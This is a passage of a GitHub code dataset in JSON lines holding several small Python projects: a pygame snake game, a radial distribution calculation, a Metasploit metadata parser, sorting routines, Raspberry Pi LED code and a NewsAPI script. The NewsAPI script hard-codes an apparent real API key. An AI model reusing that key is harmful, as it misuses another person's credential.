description=f'{BUCKET_UPLOAD_ERROR_MSG}: {error}')\n\n # Remove file from disk\n try:\n os.remove(local_file_path)\n except Exception as error:\n raise InternalServerError(\n description=f'{FILE_REMOVAL_ERROR_MSG}: {error}')\n\n return {'status_code': 201,\n 'message': 'Image upload success!',\n 'file_urls': file_urls}\n\n","repo_name":"charlieouyang/salsa","sub_path":"salsa/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40869064674","text":"from designer import *\nimport random\nimport time\nimport pygame\nfrom cisc108 import assert_equal\n\nSNAKE_SPEED_HORIZONTAL = 11.2\nSNAKE_SPEED_VERTICAL = 11.24\ninputs_list = []\ntimed = []\ncounter = []\nslowmotion_duration = []\nregenerating_slowmotion = []\n\nWorld = {'snake': [DesignerObject],\n 'snake_speed_horizontal': int,\n 'snake_speed_vertical': int,\n 'food': DesignerObject,\n 'border': DesignerObject,\n 'score': int,\n 'counter': DesignerObject,\n 'shield': DesignerObject,\n 'shielded': bool,\n 'shieldicon': DesignerObject,\n 'slowmotion': bool,\n 'slowmotion_icon': DesignerObject,\n 'slowmotion_time_left': int,\n 'slowmotion_timer': DesignerObject,\n 'instructions': [DesignerObject],\n 'obstacles': [DesignerObject],\n 'invisible_box': DesignerObject\n}\n\ndef create_world() -> World:\n '''\n creates a world with a snake segment as the head, snake vertical and horizontal speeds, a food for the snake,\n the border fo the game, score, and a counter. \n \n Args:\n None\n \n Returns:\n World: A World with a snake, snake speeds, food, border, score and a counter\n '''\n return {'snake': [create_snake()],\n 'snake_speed_horizontal': SNAKE_SPEED_HORIZONTAL,\n 'snake_speed_vertical': SNAKE_SPEED_VERTICAL,\n 'food': create_food(),\n 'border': rectangle('black', 784, 562, get_width()/2, get_height()/2, border = 10),\n 'score': 0,\n 'counter': text('black', '', 20, get_width()/2, 10),\n 'shield': None,\n 'shielded': False,\n 'shieldicon': None,\n 'slowmotion': False,\n 'slowmotion_icon': create_slowmotion_icon(),\n 'slowmotion_time_left': 4,\n 'slowmotion_timer': text('black', '4', 20, 625, 10),\n 'instructions': [text('black', 'Press WASD or Arrow Keys to move.',20, get_width()/2, 150),\n text('black', 'Press Space for Slowmotion.', 20, get_width()/2, 175)],\n 'obstacles': [],\n 'invisible_box': create_invisible_box()\n }\n\ndef create_snake() -> DesignerObject:\n '''\n creates a snake segment\n \n Args:\n None\n \n Returns:\n DesignerObject: An image of a snake segment\n '''\n snake = image('red square.jpeg')\n snake['scale_x'] = .02\n snake['scale_y'] = .02\n snake['anchor'] = 'center'\n return snake\n\ndef create_invisible_box() -> DesignerObject:\n '''\n creates a box that is not visible\n \n Args:\n None\n \n Returns:\n DesignerObject: A not visile box\n '''\n box = rectangle('green', 125, 125)\n box['visible'] = False\n return box\n \ndef moving_snake(world: World):\n '''\n causes the snake to move constantly, controls the invisible box to move constantly,\n will enable slowmotion if world['slowmotion'] == True\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n if not world['slowmotion']:\n if world['snake_speed_vertical'] == 0:\n world['snake'][0]['x'] += world['snake_speed_horizontal']\n world['invisible_box']['x'] += world['snake_speed_horizontal']\n if world['snake_speed_horizontal'] == 0:\n world['snake'][0]['y'] += world['snake_speed_vertical']\n world['invisible_box']['y'] += world['snake_speed_vertical']\n elif world['slowmotion'] and len(timed)%2 == 0:\n if world['snake_speed_vertical'] == 0:\n world['snake'][0]['x'] += world['snake_speed_horizontal']\n world['invisible_box']['x'] += world['snake_speed_horizontal']\n if world['snake_speed_horizontal'] == 0:\n world['snake'][0]['y'] += world['snake_speed_vertical']\n world['invisible_box']['y'] += world['snake_speed_vertical']\n\ndef head_up(world: World):\n '''\n causes the snake to move upwards at the speed -snake_speed_vertical\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n world['snake_speed_vertical'] = -SNAKE_SPEED_VERTICAL\n world['snake_speed_horizontal'] = 0\n\ndef head_down(world: World):\n '''\n causes the snake to move downwards at the speed snake_speed_vertical\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n world['snake_speed_vertical'] = SNAKE_SPEED_VERTICAL\n world['snake_speed_horizontal'] = 0\n \ndef head_left(world: World):\n '''\n causes the snake to move left at the speed -snake_speed_horizontal\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n world['snake_speed_horizontal'] = -SNAKE_SPEED_HORIZONTAL\n world['snake_speed_vertical'] = 0\n\ndef head_right(world: World):\n '''\n causes the snake to move right at the speed snake_speed_horizontal\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n world['snake_speed_vertical'] = 0\n world['snake_speed_horizontal'] = SNAKE_SPEED_HORIZONTAL\n\ndef control_snake(world: World, key: str):\n '''\n controls the snake to move in the direction inputted on the keyboard using the arrow keys\n or WASD, also adds to a list to determine what inputs were made, and removes the instructions\n after an input.\n \n Args:\n world(World): A World\n \n key(str): A string key inputted when typing\n \n Returns:\n None\n '''\n if key == \"W\" or key == \"up\":\n if not inputs_list:\n head_up(world)\n inputs_list.append(1)\n world['instructions'].clear()\n elif world['snake_speed_vertical'] == 0:\n head_up(world)\n inputs_list.append(1)\n elif key == \"A\" or key == \"left\":\n if not inputs_list:\n head_left(world)\n inputs_list.append(2)\n world['instructions'].clear()\n elif world['snake_speed_horizontal'] == 0:\n head_left(world)\n inputs_list.append(2)\n elif key == \"S\" or key == \"down\":\n if not inputs_list:\n head_down(world)\n inputs_list.append(3)\n world['instructions'].clear()\n elif world['snake_speed_vertical'] == 0:\n head_down(world)\n inputs_list.append(3)\n elif key == \"D\" or key == \"right\":\n if not inputs_list:\n head_right(world)\n inputs_list.append(3)\n world['instructions'].clear()\n elif world['snake_speed_horizontal'] == 0:\n head_right(world)\n inputs_list.append(4)\n\ndef create_food() -> DesignerObject:\n '''\n creates a food DesignerObject\n \n Args:\n None\n \n Returns:\n DesignerObject: the image of a food\n '''\n food = image('red square.jpeg')\n food['scale_x'] = .025\n food['scale_y'] = .025\n food['anchor'] = 'topleft'\n food['x'] = random.randint(get_width()-784, 772)\n food['y'] = random.randint(get_height()-562, 560)\n return food\n\ndef teleport_food_new_segments_new_obstacles(world: World):\n '''\n teleports food after a food is eaten, adds 4 new segments behind the snake head and\n creates an obstacle 50% of the time after a food is eaten\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n world['food']['anchor'] = 'topleft'\n if colliding(world['snake'][0], world['food']):\n new_segment = create_snake()\n move_behind(new_segment, world['snake'][-1])\n new_segment2 = create_snake()\n move_behind(new_segment2, new_segment)\n new_segment3 = create_snake()\n move_behind(new_segment3, new_segment2)\n new_segment2\n new_segment4 = create_snake()\n move_behind(new_segment4, new_segment3)\n world['snake'].append(new_segment)\n world['snake'].append(new_segment2)\n world['snake'].append(new_segment3)\n world['snake'].append(new_segment4)\n obstacle_creator = random.randint(0,1)\n if obstacle_creator == 0 and random.randint(0,1) == 1:\n world['obstacles'].append(create_obstacle1())\n while colliding_with_snake(world, world['obstacles'][-1]):\n world['obstacles'][-1]['x'] = random.randint(get_width()-780, 765)\n world['obstacles'][-1]['y'] = random.randint(get_height()-555, 545)\n if obstacle_creator == 1 and random.randint(0,1) == 1:\n world['obstacles'].append(create_obstacle2())\n while colliding_with_snake(world, world['obstacles'][-1]):\n world['obstacles'][-1]['x'] = random.randint(get_width()-780, 765)\n world['obstacles'][-1]['y'] = random.randint(get_height()-555, 545) \n while colliding_with_snake(world, world['food']):\n world['food']['x'] = random.randint(get_width()-784, 772)\n world['food']['y'] = random.randint(get_height()-562, 550)\n\n\ndef move_behind(snake_tail: DesignerObject, snake_head: DesignerObject):\n '''\n moves the snake tail (a new segment) behind the segment before it the snake_head\n \n Args:\n snake_tail(DesignerObject): the segment you want to move behind the previous one\n \n snake_head(DesignerObject): the segment in front of the segment you want to be placed behind\n \n Returns:\n None\n '''\n if inputs_list:\n if inputs_list[-1] == 1:\n snake_tail['y'] = snake_head['y'] + snake_head['height']\n snake_tail['x'] = snake_head['x']\n elif inputs_list[-1] == 2:\n snake_tail['y'] = snake_head['y']\n snake_tail['x'] = snake_head['x'] + snake_head['width']\n elif inputs_list[-1] == 3:\n snake_tail['y'] = snake_head['y'] - snake_head['height']\n snake_tail['x'] = snake_head['x']\n elif inputs_list[-1] == 4:\n snake_tail['y'] = snake_head['y']\n snake_tail['x'] = snake_head['x'] - snake_head['width']\n\ndef move_snake_segments(world: World):\n '''\n Takes the snake segment's location and moves the snake segment behind it into its own position\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n snake_segments = world['snake']\n index = range(len(snake_segments))\n listx = []\n listy = []\n for segment in snake_segments:\n listx.append(segment['x'])\n listy.append(segment['y'])\n if not world['slowmotion']:\n for i in index:\n if i > 0:\n snake_segments[i]['x'] = listx[i-1]\n snake_segments[i]['y'] = listy[i-1]\n elif world['slowmotion'] and len(timed)%2 == 0:\n for i in index:\n if i > 0:\n snake_segments[i]['x'] = listx[i-1]\n snake_segments[i]['y'] = listy[i-1]\n\ndef timer():\n '''\n appends to a list for every update (30 in a second) and will clear out the the timer and inputs_list lists\n every 1/3 second (after 10 updates) leaving the inputs_list only with the last directional input\n \n Args:\n None\n \n Returns:\n None\n '''\n if inputs_list:\n timed.append(1)\n last_input = inputs_list[-1]\n if len(timed)%10 == 0 and inputs_list:\n inputs_list.clear()\n inputs_list.append(last_input)\n timed.clear()\n\ndef snake_hits_border(world: World) -> bool:\n '''\n checks if the snake head has collided with the border of the world\n \n Args:\n world(World): A world\n \n Returns:\n bool: whether the snake collided with the border or not\n '''\n collided = False\n snake_head = world['snake'][0]\n if snake_head['x'] > 772 or snake_head['x'] < get_width()-772 or snake_head['y'] > 562 or snake_head['y'] < get_height()-562:\n collided = True\n return collided\n\ndef snake_hits_self(world: World) -> bool:\n '''\n checks if the snake has collided with any of its segments, if the snake is shielded the snake will\n pass through a single segment and lose the shield\n \n Args:\n world(World): A world\n \n Returns:\n bool: whether the snake collided or not with itself\n '''\n collided = False\n snake_segments = world['snake']\n snake_head = snake_segments[0]\n for i in range(len(snake_segments)):\n if i > 0 and i > 1:\n if colliding(snake_head, snake_segments[i]):\n if not world['shielded']:\n collided = True\n elif world['shielded']:\n world['shieldicon']['scale'] = 0\n world['shielded'] = False\n return collided\n\ndef snake_hits_obstacle(world: World) -> bool:\n '''\n checks to see if the snake head has collided with an obstacle, if the snake is shielded\n the obstacle is removed and the snake loses its shield\n \n Args:\n world(World): A world\n \n Returns:\n bool: Whether the snake collided or not with an obstacle\n '''\n collided = False\n obstacle_list = world['obstacles']\n for i in range(len(obstacle_list)):\n hit_obstacle = obstacle_list[i]\n if colliding(world['snake'][0], hit_obstacle):\n if not world['shielded']:\n collided = True\n elif world['shielded']:\n world['shieldicon']['scale'] = 0\n world['shielded'] = False\n obstacle_list[i] = None\n return collided\n\ndef score_counter(world: World):\n '''\n counts the score for every second that passes\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n counter.append(1)\n if len(counter)%30 == 0 and inputs_list:\n world['score'] = world['score'] + 1\n counter.clear()\n\ndef update_score(world: World):\n '''\n updates the score coaunter in world['counter'] with the score for the time and\n total length of the snake\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n world['counter']['text'] = 'Time: ' + str(world['score']) + ' Length: ' + str(len(world['snake']))\n \ndef create_shield_powerup() -> DesignerObject:\n '''\n creates a shield powerup\n \n Args:\n None\n \n Returns\n DesignerObject: image of a shield\n '''\n shield = image('shield.png')\n shield['scale_x'] = .02\n shield['scale_y'] = .02\n return shield\n\ndef generate_shield(world: World):\n '''\n creates a shield in a random location with a 1/1500 chance that is rolled 30 times a second as long\n as the snake is not shielded and a shield doesn't currently exist\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n if random.randint(0,1500) == 0 and not world['shielded'] and not world['shield'] and inputs_list:\n shield = create_shield_powerup()\n world['shield'] = shield\n world['shield']['x'] = random.randint(get_width()-784, 772)\n world['shield']['y'] = random.randint(get_height()-562, 560)\n while colliding_with_snake(world, world['shield']):\n world['shield']['x'] = random.randint(get_width()-784, 772)\n world['shield']['y'] = random.randint(get_height()-562, 560)\n\ndef create_shieldicon() -> DesignerObject:\n '''\n creates a shield icon at the top right ish area of the screen\n \n Args:\n None\n \n Returns:\n DesignerObject: A shield image at the top right ish area of the screen\n '''\n shieldicon = image('shield.png')\n shieldicon['scale_x'] = .03\n shieldicon['scale_y'] = .03\n shieldicon['x'] = 600\n shieldicon['y'] = 10\n return shieldicon\n\ndef shielded_snake(world: World):\n '''\n If the snake is shielded the shield icon will appear at the top right ish area of the screen\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n if colliding(world['snake'][0], world['shield']):\n world['shielded'] = True\n world['shield'] = None\n world['shieldicon'] = create_shieldicon()\n \ndef create_slowmotion_icon() -> DesignerObject:\n '''\n creates an icon for the slowmotion timer\n \n Args:\n None\n \n Returns:\n DesignerObject: Image of the slowmotion clock icon\n '''\n slowmotion_icon = image('slow.png')\n slowmotion_icon['scale'] = .05\n slowmotion_icon['x'] = 625\n slowmotion_icon['y'] = 10\n return slowmotion_icon\n\ndef space_is_held(world: World) -> bool:\n '''\n determines if space is being held down\n \n Args:\n world(World): A world\n \n Returns:\n bool: Whether space is being held or not\n '''\n keys = pygame.key.get_pressed()\n return keys[pygame.K_SPACE]\n\ndef space_is_released(world: World) -> bool:\n '''\n determines if space is being released\n \n Args:\n world(World): A world\n \n Returns:\n bool: Whether space is being released or not\n '''\n keys = pygame.key.get_pressed()\n return not keys[pygame.K_SPACE]\n\ndef run_when_space_held(world: World):\n '''\n when space is being held down the list of the cooldown for the slowmtion will be cleared, a number will be appended\n to the slowmotion duration list, if the list length is between 0-30 the duration is 4 seconds , 30-60, 3 seconds, 60-90,\n 2 seconds, 90-119, 1 second, and 120, 0.\n If the list reaches 120 slowmtion ends.\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n regenerating_slowmotion.clear()\n if world['slowmotion_time_left'] > 0 and len(slowmotion_duration) < 120:\n world['slowmotion'] = True\n slowmotion_duration.append(1)\n if len(slowmotion_duration) > 0 and len(slowmotion_duration) < 30:\n world['slowmotion_time_left'] = 4\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 30 and len(slowmotion_duration) < 60:\n world['slowmotion_time_left'] = 3\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 60 and len(slowmotion_duration) < 90:\n world['slowmotion_time_left'] = 2\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 90 and len(slowmotion_duration) < 120:\n world['slowmotion_time_left'] = 1\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n elif len(slowmotion_duration) >= 120:\n world['slowmotion'] = False\n world['slowmotion_time_left'] = 0\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n\ndef run_when_space_released(world: World):\n '''\n when space is released slowmotion is not active and if slowmotion is used the regenerating list will have a number added to it.\n If the regenerating slowmotion list reaches a length of 300 (takes 5 seconds) the slowmotion duration list will start to decrease.\n If slowmotion duration was 120 slowmotion will become useable again and eventually reach \"4\" which is full duration. If slowmotion\n is used after regenerating starts 5 seconds must be waited for slowmotion to begin regenerating again.\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n world['slowmotion'] = False\n if slowmotion_duration:\n if len(regenerating_slowmotion) < 150:\n regenerating_slowmotion.append(1)\n if len(regenerating_slowmotion) == 150:\n del slowmotion_duration[-1]\n if len(slowmotion_duration) > 0 and len(slowmotion_duration) < 15:\n world['slowmotion_time_left'] = 4\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 15 and len(slowmotion_duration) < 30:\n world['slowmotion_time_left'] = 3\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 30 and len(slowmotion_duration) < 60:\n world['slowmotion_time_left'] = 2\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 60 and len(slowmotion_duration) <= 90:\n world['slowmotion_time_left'] = 1\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n\ndef colliding_with_snake(world: World, designerobject: DesignerObject) -> bool:\n '''\n tests if a designerobject is colliding with an object in the world, including a snake segment\n an obstacle and the invisible box.\n \n Args:\n world(World): A world\n \n designerobject: A DesignerObject\n \n Returns:\n bool: if the DesignerObject was colliding with a snake segment, an obstacle, or the invisible box\n '''\n collided = False\n for segment in world['snake']:\n if colliding(designerobject, segment):\n collided = True\n if not designerobject in world['obstacles']:\n for obstacle in world['obstacles']:\n if colliding(designerobject, obstacle):\n collided = True\n if colliding(designerobject, world['invisible_box']):\n collided = True\n return collided\n \ndef create_obstacle1() -> DesignerObject:\n '''\n creates an obstacle that is wide\n \n Args:\n None\n \n Returns:\n DesignerObject: A wide obstacle\n '''\n obstacle = rectangle('black', 10, 30)\n obstacle['x'] = random.randint(get_width()-784, 772)\n obstacle['y'] = random.randint(get_height()-562, 550)\n return obstacle\n\ndef create_obstacle2() -> DesignerObject:\n '''\n creates a tall obstacle\n \n Args:\n None\n \n Returns:\n DesignerObject: A tall obstacle\n '''\n obstacle = rectangle('black', 30, 10)\n obstacle['x'] = random.randint(get_width()-784, 772)\n obstacle['y'] = random.randint(get_height()-562, 550)\n return obstacle\n\n \n \nwhen('starting', create_world)\nwhen('updating', moving_snake)\nwhen('typing', control_snake)\nwhen('updating', teleport_food_new_segments_new_obstacles)\nwhen('updating', move_snake_segments)\nwhen('updating', timer)\nwhen('updating', score_counter)\nwhen('updating', update_score)\nwhen('updating', generate_shield)\nwhen('updating', shielded_snake)\nwhen(space_is_held, run_when_space_held)\nwhen(space_is_released, run_when_space_released)\nwhen(snake_hits_border, pause)\nwhen(snake_hits_self, pause)\nwhen(snake_hits_obstacle, pause)\nstart()","repo_name":"Igneyy/Snake-Game","sub_path":"SnakeGame.py","file_name":"SnakeGame.py","file_ext":"py","file_size_in_byte":22472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28250793675","text":"#!/usr/bin/python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n\n#default parameters\nnpoints = 100 #numbers of shells\nlength = 15 #length maximum of pair distance \n\n#read coordination from POSCAR\nf = open(\"POSCAR\", \"r+\")\ntmp = f.readlines()\natom_num = int(tmp[6])\naxis = []\nfor i in [2,3,4]:\n axis.append(list(map(float, tmp[i].split())))\naxis = np.array(axis)\nscale_factor = float(tmp[1])\n\natoms = []\nfor i in range(8,8+atom_num):\n atoms.append(list(map(float, tmp[i].split())))\natoms = np.array(atoms)\nf.close()\n\n#get area of cell\ntmp = np.array([axis[0,1]*axis[1,2]-axis[0,2]*axis[1,1],axis[0,2]*axis[1,0]-\\\n axis[0,0]*axis[1,2],axis[0,0]*axis[1,1]-axis[0,1]*axis[1,0]])\narea = np.linalg.norm(tmp)\narea *= scale_factor**2\n\n#calculating rdf\ng = np.zeros(npoints)\ndelta = length/npoints #distance between adjent shells\n\nfor i in range(atom_num):\n for j in range(i+1,atom_num):\n a = atoms[i].tolist()\n b = atoms[j].tolist()\n for k in range(3):\n if a[k] - b[k]> 0.5:\n a[k] -= 1\n if a[k] - b[k]<-0.5:\n b[k] -= 1\n a = np.dot(a,axis)*scale_factor\n b = np.dot(b,axis)*scale_factor\n tmp = a-b\n tmp = np.linalg.norm(tmp[:2])\n num = int(tmp/delta)\n if num < npoints:\n g[num] += 2\n\n#averaging\nrho = atom_num/area\nfor i in range(npoints):\n g[i] /= 2*np.pi*(i+1)*delta*delta*rho\n\n#plot\nx = [delta*(i+1) for i in range(npoints)]\nplt.plot(x,g)\nplt.show()\n","repo_name":"ponychen123/MD","sub_path":"2drdf.py","file_name":"2drdf.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32964585669","text":"import requests, json\n\nurl = ('http://newsapi.org/v2/top-headlines?'\n 'country=us&'\n 'apiKey=ff0d334a96854958932475eb3d5e381a')\n\nresponse = json.loads(requests.get(url).text)\nprint(response['totalResults'])\n\nfor author in response['articles']:\n print(author['author'])","repo_name":"ZZmarkus/DataSience","sub_path":"hw-ch05/getting data.py","file_name":"getting data.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1893665262","text":"#!/usr/bin/env python\n'''\nfile: mtsp_json\nauthor: adh\ncreated_at: 6/14/21 12:03 PM\n'''\nimport pandas as pd\nimport logging\n\nlogger = logging.getLogger(__name__)\n\ndef json_to_df(path):\n logger.debug(f\"Reading json data from {path}\")\n df = pd.read_json(path,orient=\"index\")\n return df\n\n\ndef clean_df(df):\n logger.debug(\"Cleaning data\")\n cols = ['path', 'name', 'disclosure_date', 'type', 'description', 'platform', 'arch', 'mod_time']\n\n df = df.reset_index().rename(columns={'index': 'filepath'})\n df['mod_time'] = pd.to_datetime(df['mod_time'])\n\n # references is a column of lists\n # need to break it into one row per item in each list\n df2 = (pd.melt(df.references.apply(pd.Series).reset_index(),\n id_vars=['index'],\n value_name='references')\n .set_index(['index'])\n .drop('variable', axis=1)\n .dropna()\n .sort_index()\n )\n # merge the broken out rows back into the original data\n df3 = df[cols].join(df2).dropna()\n df3 = df3.rename(columns={'references': 'reference', })\n df3['reference'] = df3['reference'].str.strip()\n df3 = df3.set_index('reference')\n df3 = df3.sort_values(by=\"mod_time\",ascending=True)\n\n return df3\ndef only_cves(df):\n return filter_by_vulid(df, vulid_pfx='CVE')\n\ndef filter_by_vulid(df,vulid_pfx=\"CVE\"):\n logger.debug(f\"filtering for {vulid_pfx} records\")\n df2 = pd.DataFrame(df.loc[df.index.str.startswith(vulid_pfx)])\n return df2\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"CERTCC/metasploit_json_parser","sub_path":"mtsp_parser/mtsp_json.py","file_name":"mtsp_json.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"21355215562","text":"#Calcular el número de divisores de un número, mayor o igual que la unidad.\n\nnumero = int(input('Introduzca un numero igual o mayor que 1: \\r\\n'))\n\nif numero >= 1:\n \n divisores = 0\n print (f'Los divisores de {numero}:')\n for divisor in range(1, numero + 1):\n if (numero % divisor) == 0:\n print(f'{divisor} es divisor')\n divisores += 1\n \nelse:\n print(f'ERROR. {numero} no es mayor o igual que 1')","repo_name":"smr1-Jaime/CLASE","sub_path":"python/batería ejercicios ester/Ej25.py","file_name":"Ej25.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31841021092","text":"arr = [1,4,3,2]\n\n# Slicing\nprint(arr[::-1])\n\n# Using reversed()\nprint([i for i in reversed(arr)])\n\n# Brute Force\nindex = len(arr)\nnewList = [0]* index\nfor i in arr:\n index = index - 1\n newList[index] = i\nprint(newList)\n","repo_name":"SMony-L/HackerRank-Solution","sub_path":"HackerRank Solution/Data Structures/Arrays/Arrays - DS.py","file_name":"Arrays - DS.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8226234782","text":"import asyncio\nimport json\nimport os\nimport datetime as dt\nimport data_hub\nimport saver\n\nclass Main:\n def __init__(self, config_file, data_hub, saver):\n if not os.path.exists(\"data\"):\n os.makedirs(\"data\")\n\n configs = get_configs_from(config_file)\n self.data_hub = data_hub\n self.saver = saver\n self.time_frame_size = configs[\"time_frame_size\"]\n self.time_from = date_from(configs[\"time_from\"])\n self.time_to = date_from(configs[\"time_to\"])\n self.data_type = configs[\"data_type\"]\n self.category = configs[\"category\"]\n\n async def execute(self):\n stations = await self.data_hub.stations_for(self.category)\n time_frames = time_frames_from(self.time_from, self.time_to, self.time_frame_size)\n\n for station in stations:\n for frame_index in range(len(time_frames) - 1):\n start_time = time_frames[frame_index]\n end_time = time_frames[frame_index + 1]\n records = await self.data_hub.records_for(self.category, station, self.data_type, start_time, end_time)\n self.saver.add(records)\n print_record(self.category, station, self.data_type, records, start_time, end_time)\n\n self.saver.save()\n\ndef get_configs_from(configs_file):\n with open(configs_file) as configfile:\n return json.loads(\"\".join(configfile.readlines()))\n\ndef time_frames_from(start, end, time_frame_size):\n actual = end\n while True:\n if actual <= start:\n start = actual\n break\n actual -= dt.timedelta(days=1)\n\n date_range = range(0, (end - start).days + 1, time_frame_size)\n return reverse([end - dt.timedelta(days=x) for x in date_range])\n\ndef reverse(elements):\n return elements[::-1]\n\ndef date_from(date_as_string):\n return dt.datetime.strptime(date_as_string, '%Y-%m-%d')\n\ndef print_record(category, station, data_type, records, start_time, end_time):\n print(\"obtained %i records for %s %s %s (%s -> %s)\" % (\n len(records),\n category,\n station[\"id\"],\n data_type,\n start_time.strftime('%Y-%m-%d'),\n end_time.strftime('%Y-%m-%d')))\n\nif __name__ == \"__main__\":\n data_hub = data_hub.DataHub()\n saver = saver.Saver('data/dataset.csv')\n\n app = Main(\"config.json\", data_hub, saver)\n asyncio.run(app.execute())\n","repo_name":"giacomo-montibeller/ml-workflow-data-layer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38465926102","text":"from typing import List\n\n\ndef merge(left: List[int], right: List[int]) -> List[int]:\n result = []\n left_idx, right_idx = 0, 0\n\n while left_idx < len(left) and right_idx < len(right):\n if left[left_idx] < right[right_idx]:\n result.append(left[left_idx])\n left_idx += 1\n else:\n result.append(right[right_idx])\n right_idx += 1\n\n result.extend(left[left_idx:])\n result.extend(right[right_idx:])\n return result\n\n\ndef merge_sort(arr: List[int]) -> List[int]:\n if len(arr) < 2:\n return arr\n\n mid = len(arr) // 2\n left, right = merge_sort(arr[:mid]), merge_sort(arr[mid:])\n return merge(left, right)\n\n\ndef not_in_place_quick_sort(arr):\n if len(arr) < 2:\n return arr\n\n pivot = arr.pop()\n lower = [x for x in arr if x < pivot]\n greater = [x for x in arr if x > pivot]\n return not_in_place_quick_sort(lower) + [pivot] + not_in_place_quick_sort(greater)\n","repo_name":"alefeans/algs4","sub_path":"algs4/part1/week3/sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10253585569","text":"import RPi.GPIO as GPIO\nfrom time import sleep\nimport adafruit_mcp3xxx.mcp3008 as MCP\nfrom adafruit_mcp3xxx.analog_in import AnalogIn\nimport busio\nimport digitalio\nimport board\nfrom leds import PwmPin\n\nr = 14 #GPIO14 r\nb = 15 #GPIO15 b\ng = 18 #GPIO18 g\nclk = 25 #GPIO25 clk\ndout = 8 #GPIO8 dout\ndin = 7#GPIO7 din\ncs_pin = 1 #GPIO1 cs\n\n# create the spi bus\nspi = busio.SPI(clock=clk, MISO=dout, MOSI=din)\n\n# create the cs (chip select)\ncs = digitalio.DigitalInOut(cs_pin)\n\n# create the mcp object\nmcp = MCP.MCP3008(spi, cs)\n\ndef remap_range(value, left_min, left_max, right_min, right_max):\n # this remaps a value from original (left) range to new (right) range\n # Figure out how 'wide' each range is\n left_span = left_max - left_min\n right_span = right_max - right_min\n\n # Convert the left range into a 0-1 range (int)\n valuescaled = int(value - left_min) / int(left_span)\n\n # Convert the 0-1 range into a value in the right range.\n return int(right_min + (valuescaled * right_span))\n\n\nclass Channel:\n _mcp_object = mcp\n channel_map = {\n \"0\": MCP.P0,\n \"1\": MCP.P1,\n \"2\": MCP.P2,\n \"3\": MCP.P3,\n \"4\": MCP.P4,\n \"5\": MCP.P5,\n \"6\": MCP.P6,\n \"7\": MCP.P7\n }\n def __init__(self, channel):\n self.channel = AnalogIn(self._mcp_object, self.channel_map[channel])\n\nclass AnalogPin:\n _last_value = 0\n _tolerance = 250\n def __init__(self, channel, pin):\n self.channel = channel\n self.pin = pin\n\n def value_change_check(self, current_value):\n return abs(current_value - self._last_value) > self._tolerance\n\n def check_value(self):\n current_value = self.channel.value\n if self.value_change_check(current_value):\n return remap_range(current_value, 0, 65535, 0, 100)\n return self._last_value\n\n def change_led(self):\n self.pin.pwm_cdc()\n\n\nif __name__ == \"__main__\":\n GPIO.setmode(GPIO.BCM)\n PinRed = PwmPin(r, \"out\")\n PinGreen = PwmPin(g, \"out\")\n PinBlue = PwmPin(b, \"out\")\n pins = {PinRed, PinGreen, PinBlue}","repo_name":"jonguz6/leds","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18068183427","text":"import view\n\nfrom PIL import Image\nfrom pathlib import Path\n\n\nclass Color:\n def __init__(self, red, green, blue, alpha):\n self.red = red\n self.green = green\n self.blue = blue\n self.alpha = alpha\n\n\ndef GetFileName(path):\n return Path(path).stem\n\n\ndef GetFolderOfFile(path):\n return str(Path(path).parent) + \"/\"\n\n\ndef GetAbsoFolderOfFile(path):\n return str(Path(path).resolve())\n\n\ndef FileIsTxt(path):\n file = Path(path)\n if file.suffix == '.txt':\n view.CheckingType(file)\n return True\n else:\n view.Error(2)\n view.CheckingType(file)\n return False\n\n\ndef FileIsPng(path):\n file = Path(path)\n if file.suffix == '.png':\n view.CheckingType(file.suffix)\n return True\n else:\n view.Error(2)\n 